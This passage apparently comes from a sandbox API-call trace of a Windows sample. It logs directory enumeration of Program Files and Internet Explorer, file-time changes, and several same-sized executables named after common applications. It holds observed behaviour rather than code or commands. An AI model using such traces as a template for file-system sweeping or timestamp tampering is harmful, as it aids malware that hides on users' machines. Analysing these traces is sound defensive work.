dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0067.612] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0 [0067.612] GetLastError () returned 0x12 [0067.612] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7d18) returned 1 [0067.612] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0067.612] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7c90) returned 1 [0067.612] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0067.612] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad643f40, ftCreationTime.dwHighDateTime=0x1d54dc2, ftLastAccessTime.dwLowDateTime=0xce3e43f0, ftLastAccessTime.dwHighDateTime=0x1d58468, ftLastWriteTime.dwLowDateTime=0xce3e43f0, ftLastWriteTime.dwHighDateTime=0x1d58468, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0067.612] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0067.612] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1 [0067.612] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e36a70, ftCreationTime.dwHighDateTime=0x1d5b811, ftLastAccessTime.dwLowDateTime=0x61331cd0, ftLastAccessTime.dwHighDateTime=0x1d5390f, ftLastWriteTime.dwLowDateTime=0x61331cd0, ftLastWriteTime.dwHighDateTime=0x1d5390f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="whatsapp.exe", cAlternateFileName="")) returned 1 [0067.612] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1 [0067.612] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0 [0067.613] GetLastError () returned 0x12 [0067.613] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0067.613] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0067.613] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0067.613] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0067.613] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="")) returned 1 [0067.613] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer" (normalized: "c:\\program files\\internet explorer"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0067.613] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer" (normalized: "c:\\program files\\internet explorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0067.613] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0067.613] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfd6468 [0067.613] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfd6468, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xfd6468, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0067.613] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd6468) returned 1 [0067.613] NtClose (Handle=0xec) returned 0x0 [0067.614] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0067.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0067.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0067.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0067.614] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d1a0 [0067.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x404ee910, ftCreationTime.dwHighDateTime=0x1d57814, ftLastAccessTime.dwLowDateTime=0x4f4c03f0, ftLastAccessTime.dwHighDateTime=0x1d57fce, ftLastWriteTime.dwLowDateTime=0x4f4c03f0, ftLastWriteTime.dwHighDateTime=0x1d57fce, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bitkinex.exe", cAlternateFileName="")) returned 1 [0067.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.614] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.614] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.614] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.614] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986f590, ftCreationTime.dwHighDateTime=0x1d5b98b, ftLastAccessTime.dwLowDateTime=0xd3456ab0, ftLastAccessTime.dwHighDateTime=0x1d57089, ftLastWriteTime.dwLowDateTime=0xd3456ab0, ftLastWriteTime.dwHighDateTime=0x1d57089, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="contributions.exe", cAlternateFileName="")) returned 1 [0067.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.614] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.614] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.614] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.615] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0067.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x340db900, ftCreationTime.dwHighDateTime=0x1d55b55, ftLastAccessTime.dwLowDateTime=0x926d0f80, ftLastAccessTime.dwHighDateTime=0x1d5bd72, ftLastWriteTime.dwLowDateTime=0x926d0f80, ftLastWriteTime.dwHighDateTime=0x1d5bd72, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="")) returned 1 [0067.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.615] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.615] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.615] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0067.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.615] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.615] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.615] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0067.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.615] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.615] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfcf448 [0067.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0067.616] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.616] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37b6f98, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0067.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.616] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.616] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.616] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.616] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37dd0f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0067.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.616] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.616] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.616] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.616] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0067.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.616] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.616] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.616] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.616] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecd4578, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xdecd4578, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3cb04e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0067.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.617] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3803259, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3803259, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3803259, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0067.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.617] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0067.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.617] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa387567a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa387567a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa387567a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0067.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.618] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.618] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3686496, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3686496, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0067.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.618] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.618] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.618] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.618] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe54abd0a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe54abd0a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b495380, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x23600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0067.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.618] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.618] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.618] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.618] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41a0e8a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe41a0e8a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b4b9d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0067.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.618] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.618] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.618] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.618] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, 